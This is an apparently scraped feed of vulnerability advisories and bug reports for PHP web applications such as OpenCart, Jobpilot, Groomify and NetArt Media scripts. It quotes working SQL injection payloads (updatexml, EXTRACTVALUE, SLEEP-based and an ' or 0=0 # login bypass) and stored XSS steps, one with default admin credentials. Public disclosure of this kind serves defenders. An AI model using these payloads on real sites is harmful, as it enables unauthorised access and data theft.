SQL injection vulnerability in PHPOK v.5.4. allows a remote attacker to obtain sensitive information via the _userlist function in framerwork/phpok_call.php file.

**Have a question about this project?** Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Pick a username

Email Address

Password

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

CVE-2020-21486: PHPOK5.4 has sensitive information disclosure and sql injection · Issue #8 · qinggan/phpok

SQL injection vulnerability found in Joyplus-cms v.1.6.0 allows a remote attacker to access sensitive information via the id parameter of the goodbad() function.

CVE-2020-20636

SQL injection vulnerability in OpenCart v.2.2.00 thru 3.0.3.2 allows a remote attacker to execute arbitrary code via the Fba plugin function in upload/admin/index.php.

**What version of OpenCart are you reporting this for?**  
2.2.0.0 ~ 3.0.3.2

**Describe the bug**  
A SQL injection caused by inappropriate user input filtering.

**What section does it affect?**  
openbay-fba extension

**To Reproduce**  
Steps to reproduce the behavior:

1.  Log in as administrator
2.  Install "OpenBay Pro" extension
3.  Enable "Fulfillment by Amazon"(Fba) plugin
4.  Visit upload/admin/index.php?route=extension/openbay/fba/orderList&user\_token=your\_token&filter\_start=1%27%20and%20updatexml(1,concat(0x7e,(select%20user()),1),0x7e)--%20  
    (ps: Replace the user\_token parameter with your own.)

**Expected behavior**  
'select user()' will be executed and its result will be returned

CVE-2020-20491: SQL Injection vulnerability found in fba extension · Issue #7612 · opencart/opencart

SQL injection vulnerability found in WUZHICMS v.4.1.0 allows a remote attacker to execute arbitrary code via the checktitle() function in admin/content.php.

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?

CVE-2020-20413: WUZHICMS-SQL-Injection/README.md at master · SuperSalsa20/WUZHICMS-SQL-Injection

NetArt Media PHP Hotel Site version 2.0 suffers from a cross site scripting vulnerability.

    ┌┌───────────────────────────────────────────────────────────────────────────────────────┐││                                     C r a C k E r                                    ┌┘┌┘                 T H E   C R A C K   O F   E T E R N A L   M I G H T                  ││└───────────────────────────────────────────────────────────────────────────────────────┘┘ ┌────              From The Ashes and Dust Rises An Unimaginable crack....          ────┐┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                  [ Vulnerability ]                                   ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘:  Author   : CraCkEr                                                                    :│  Website  : https://www.netartmedia.net/php-hotel-booking                              ││  Vendor   : NetArt Media                                                               ││  Software : PHP Hotel Site 2.0                                                         ││  Vuln Type: Stored XSS                                                                 ││  Impact   : Manipulate the content of the site                                         ││                                                                                        ││────────────────────────────────────────────────────────────────────────────────────────││                                                                                       ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘:                                                                                        :│  Release Notes:                                                                        ││  ═════════════                                                                         ││  Allow Attacker to inject malicious code into website, give ability to steal sensitive ││  information, manipulate data, and launch additional attacks.                          ││                                                                                        │┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                                                                      ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘   Greets:    The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09           CryptoJob (Twitter) twitter.com/0x0CryptoJob     ┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                    © CraCkEr 2023                                    ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘## Stored XSS-----------------------------------------------POST /booking/index.php HTTP/2page=book&id=0&room_code=F753N132&room_name=Standard+double+room&price=&start_time=1687237200&end_time=1687410000&nights=&ProceedBooking=1&name=[XSS Payload]&email=abc%40abc.com&phone=[XSS Payload]&code=28649&remarks=[XSS Payload]-----------------------------------------------POST parameter 'name' is vulnerable to XSSPOST parameter 'phone' is vulnerable to XSSPOST parameter 'remarks' is vulnerable to XSS## Steps to Reproduce:1. At the index page Search for your Booking (as Guest)2. Select any Room by Press [Book Now]3. Inject your [XSS Payload] in "Name"4. Inject your [XSS Payload] in "Phone"5. Inject your [XSS Payload] in "Remarks "6. Press [Book Now] to Submit You will receive to (Thank you. You'll receive an email when your booking is confirmed.)6. When the Admin Login to the Administration Panel on this Path (https://website/booking/admin/index.php)7. XSS will Fire & Executed on his Browser Instantly After the Login[-] Done

NetArt Media PHP Hotel Site 2.0 Cross Site Scripting

WordPress Kero jQuery/HTML Dashboard PRO theme version 2.3.86 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

    ====================================================================================================================================| # Title     : WordPress - Kero jQuery/HTML Dashboard PRO Auth BY pass Vulnerability                                              || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 108.0.2(64-bit)                                            | | # Vendor    : https://dashboardpack.com/theme-details/kero-jquery-html-dashboard-pro/                                            |  | # Dork      :                                                                                                                    |====================================================================================================================================P0C :[+] Dorking İn Google Or Other Search Enggine.[+] Use payload : /panel/sign-in.php[+] User & Pass :  ' or 0=0 #[+] https://127.0.0.1/spdmuniversal.in/panel/sign-in.phpGreetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * shadow_00715 * LiquidWorm * thelastvvv *Zigoo.eg                      |=======================================================================================================================================

WordPress Kero jQuery/HTML Dashboard PRO 2.3.86 SQL Injection

NetArt Media Blog LITE version 2.1 suffers from a persistent cross site scripting vulnerability.

    ┌┌───────────────────────────────────────────────────────────────────────────────────────┐││                                     C r a C k E r                                    ┌┘┌┘                 T H E   C R A C K   O F   E T E R N A L   M I G H T                  ││└───────────────────────────────────────────────────────────────────────────────────────┘┘ ┌────              From The Ashes and Dust Rises An Unimaginable crack....          ────┐┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                  [ Vulnerability ]                                   ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘:  Author   : CraCkEr                                                                    :│  Website  : https://www.netartmedia.net/blog-lite                                      ││  Vendor   : NetArt Media                                                               ││  Software : Blog LITE 2.1                                                              ││  Vuln Type: Stored XSS                                                                 ││  Impact   : Manipulate the content of the site                                         ││                                                                                        ││────────────────────────────────────────────────────────────────────────────────────────││                                                                                       ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘:                                                                                        :│  Release Notes:                                                                        ││  ═════════════                                                                         ││  Allow Attacker to inject malicious code into website, give ability to steal sensitive ││  information, manipulate data, and launch additional attacks.                          ││                                                                                        │┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                                                                      ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘   Greets:    The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09           CryptoJob (Twitter) twitter.com/0x0CryptoJob     ┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                    © CraCkEr 2023                                    ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘## Stored XSS---------------------------------------------------------POST /blog/index.php HTTP/2-----------------------------401019026540470155022776857270Content-Disposition: form-data; name="title"[XSS Payload]-----------------------------401019026540470155022776857270Content-Disposition: form-data; name="content"-----------------------------401019026540470155022776857270Content-Disposition: form-data; name="author"[XSS Payload]-----------------------------401019026540470155022776857270Content-Disposition: form-data; name="email"-----------------------------401019026540470155022776857270## Steps to Reproduce:1. Visit Any Category on the Blog2. Write a comment (as Guest)3. Inject your [XSS Payload] in "Comment Title"4. Inject your [XSS Payload] in "Your Name"5. Submit6. By default the Blog Disable your comment for Admin Check7. Admin Check the [BLOG POSTS] in the Administration Panel on this Path (https://website/blog/admin/index.php?page=posts)8. When the Admin check the comments on this Path (https://website/blog/admin/index.php?page=comments&id=2)9. XSS Will Fire and Executed on his Browser[-] Done

NetArt Media Blog LITE 2.1 Cross Site Scripting

Student Study Center Management System version 1.0 suffers from a persistent cross site scripting vulnerability.

    # Exploit Title: Student Study Center Management System v1.0 - Stored Cross-Site Scripting (XSS)# Date of found: 12/05/2023# Exploit Author: VIVEK CHOUDHARY @sudovivek# Version: V1.0# Tested on: Windows 10# Vendor Homepage: https://phpgurukul.com# Software Link: https://phpgurukul.com/student-study-center-management-system-using-php-and-mysql/# CVE: CVE-2023-33580# CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-33580Vulnerability Description -    The Student Study Center Management System V1.0, developed by PHPGurukul, is susceptible to a critical security vulnerability known as Stored Cross-Site Scripting (XSS). This vulnerability enables attackers to inject malicious JavaScript code, which is then stored and executed by the application. The underlying issue lies in the system's failure to adequately sanitize and validate user-provided input within the "Admin Name" field on the Admin Profile page, thereby allowing attackers to inject arbitrary JavaScript code.Steps to Reproduce -    The following steps demonstrate how to exploit the Stored XSS vulnerability in the Student Study Center Management System V1.0:            1.  Visit the Student Study Center Management System V1.0 application by accessing the URL: http://localhost/student-study-center-MS-PHP/sscms/index.php.        2.  Click on the "Admin" button to navigate to the admin login page.        3.  Login to the Admin account using the default credentials.                - Username: admin                - Password: Test@123        4.  Proceed to the Admin Profile page.        5.  Within the "Admin Name" field, inject the following XSS payload, enclosed in brackets: {"><script>alert("XSS")</script>}.        6.  Click on the "Submit" button.        7.  Refresh the page, and the injected payload will be executed.As a result of successful exploitation, the injected JavaScript code will be stored in the application's database. Subsequently, whenever another user accesses the affected page, the injected code will execute, triggering an alert displaying the text "XSS." This allows the attacker to execute arbitrary code within the user's browser, potentially leading to further attacks or unauthorized actions.

Student Study Center Management System 1.0 Cross Site Scripting

Jobpilot version 2.61 suffers from a remote SQL injection vulnerability.

    # Exploit Title: Jobpilot v2.61 - SQL Injection# Date: 2023-06-17# Exploit Author: Ahmet Ümit BAYRAM# Vendor: https://codecanyon.net/item/jobpilot-job-portal-laravel-script/37897822# Demo Site: https://jobpilot.templatecookie.com# Tested on: Kali Linux# CVE: N/A----- PoC: SQLi -----Parameter: long (GET)    Type: error-based    Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUPBY clause (EXTRACTVALUE)    Payload: keyword=1&lat=34.0536909&long=-118.242766&long=-118.242766)AND EXTRACTVALUE(4894,CONCAT(0x5c,0x7170766271,(SELECT(ELT(4894=4894,1))),0x71786b7171)) AND(1440=1440&lat=34.0536909&location=Los Angeles, Los Angeles County, CALFire Contract Counties, California, UnitedStates&category=&price_min=&price_max=&tag=    Type: time-based blind    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)    Payload: keyword=1&lat=34.0536909&long=-118.242766&long=-118.242766)AND (SELECT 9988 FROM (SELECT(SLEEP(5)))bgbf) AND(1913=1913&lat=34.0536909&location=Los Angeles, Los Angeles County, CALFire Contract Counties, California, UnitedStates&category=&price_min=&price_max=&tag=

Jobpilot 2.61 SQL Injection

Groomify version 1.0 suffers from a remote SQL injection vulnerability.

    # Exploit Title: Groomify v1.0 - SQL Injection# Date: 2023-06-17# Exploit Author: Ahmet Ümit BAYRAM# Vendor:https://codecanyon.net/item/groomify-barbershop-salon-spa-booking-and-ecommerce-platform/45808114## Demo Site: https://script.bugfinder.net/groomify# Tested on: Kali Linux# CVE: N/A### Vulnerable URL ###https://localhost/groomify/blog-search?search=payload### Parameter & Payloads ###Parameter: search (GET)    Type: time-based blind    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)    Payload: search=deneme' AND (SELECT 1642 FROM (SELECT(SLEEP(5)))Xppf)AND 'rszk'='rszk

Tag

#sql